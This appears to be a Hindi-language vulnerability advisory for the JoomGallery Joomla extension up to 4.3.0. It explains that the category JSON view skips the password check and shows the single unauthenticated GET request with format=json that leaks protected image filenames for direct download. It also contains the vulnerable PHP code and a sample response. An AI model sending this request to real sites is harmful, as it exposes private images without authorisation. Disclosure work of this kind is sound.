
पासवर्ड-संरक्षित श्रेणी में JSON प्रारूप के माध्यम से बाईपास, JoomGallery में
जूमगैलरी ≤ 4.3.0-stable — अनधिकृत हमलावर संरक्षित छवियों को डाउनलोड करने के लिए पासवर्ड गेट को बायपास करता है
JoomGallery की श्रेणी JSON व्यू में एक अनधिकृत अभिगम नियंत्रण बायपास मौजूद है। जब किसी गैलरी श्रेणी को पासवर्ड से सुरक्षित किया जाता है, तो HTML व्यू पासवर्ड गेट को सही ढंग से लागू करता है — लेकिन JSON व्यू (format=json) इस जाँच को पूरी तरह से छोड़ देता है।
कोई भी दूरस्थ हमलावर बिना किसी क्रेडेंशियल के श्रेणी का शीर्षक, विवरण और सभी संरक्षित छवियों के यादृच्छिक फ़ाइलनाम प्राप्त कर सकता है, और फिर उन छवियों को सीधे डाउनलोड कर सकता है। एक ही HTTP अनुरोध के साथ पासवर्ड सुरक्षा सुविधा बायपास हो जाती है।
यह बायपास केवल उन श्रेणियों तक सीमित है जिनका Joomla ACL एक्सेस स्तर Public (access=1) पर सेट है। Registered या Special एक्सेस वाली श्रेणियाँ अभी भी JsonView.php:69 में ACL परत पर अवरुद्ध रहती हैं।
| घटक | असुरक्षित | परीक्षण किया गया | सुधार |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
प्रकार: अनुचित अभिगम नियंत्रण (CWE-284)
प्रमाणीकरण आवश्यक: कोई नहीं — अनधिकृत, एकल HTTP अनुरोध
फ़ाइल: site/com_joomgallery/src/View/Category/JsonView.php, पंक्तियाँ 76–96
JoomGallery श्रेणियों के लिए पासवर्ड सुरक्षा को pw_protected फ़्लैग के माध्यम से लागू करता है। यह जाँच HtmlView.php में मौजूद है लेकिन JsonView.php में पूरी तरह से अनुपस्थित है:
HTMLVIEW.PHP — सही (गार्ड मौजूद)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — असुरक्षित (कोई गार्ड नहीं)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Joomla का format=json पैरामीटर उसी URL को एक अलग View क्लास में रूट करता है। प्रत्येक View को स्वतंत्र रूप से एक्सेस जाँच लागू करनी चाहिए — फ्रेमवर्क उन्हें स्वचालित रूप से प्रचारित नहीं करता। डेवलपर ने HtmlView में pw_protected गार्ड जोड़ा लेकिन JsonView में इसे हटा दिया।
JoomGallery की पासवर्ड सुरक्षा छवि फ़ाइलनामों को गुप्त रखने पर निर्भर करती है — फ़ाइलें /images/joomgallery/originals/ के अंतर्गत स्थिर संपत्तियों के रूप में संग्रहीत की जाती हैं और बिना किसी सर्वर-साइड प्रमाणीकरण के Apache द्वारा सीधे परोसी जाती हैं। फ़ाइलनाम यादृच्छिक होते हैं (उदा., secret-image-1_20260803_1951053711.jpg) और केवल PHP/Joomla परत के माध्यम से पासवर्ड जाँच पारित करने के बाद ही प्रकट किए जाते हैं। JSON बायपास अनधिकृत अनुरोधकर्ताओं को फ़ाइलनाम प्रकट करके इस मॉडल को तोड़ता है, जिससे पूर्ण छवि प्राप्ति तक हमले की श्रृंखला पूरी होती है।
प्रयोगशाला सेटअप:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
परिणाम: पासवर्ड फॉर्म प्रस्तुत किया गया। कोई श्रेणी सामग्री दिखाई नहीं देती।

GET /index.php/gallery/categories/3-secret-gallery
परिणाम: अलियास पथ (/3-secret-gallery) में डायरेक्ट इमेज एक्सेस अवरुद्ध है

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
प्रतिक्रिया (HTTP 200, कोई प्रमाणीकरण नहीं):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true पुष्टि करता है कि पासवर्ड सेट है। इसके बावजूद, यादृच्छिक फ़ाइलनाम सहित पूरी प्रतिक्रिया एक अनधिकृत कॉलर को लौटा दी जाती है।

चरण 3 में प्राप्त फ़ाइलनाम का उपयोग करना
परिणाम: HTTP 200 — छवि फ़ाइल सीधे Apache द्वारा लौटाई गई। कोई प्रमाणीकरण आवश्यक नहीं।

एडमिन ने जिस भी गैलरी श्रेणी को पासवर्ड से सुरक्षित किया है, वह पूरी तरह से समझौता हो जाती है। हमलावर को केवल संख्यात्मक श्रेणी ID की आवश्यकता होती है, जो क्रमिक है और आसानी से गणना योग्य है।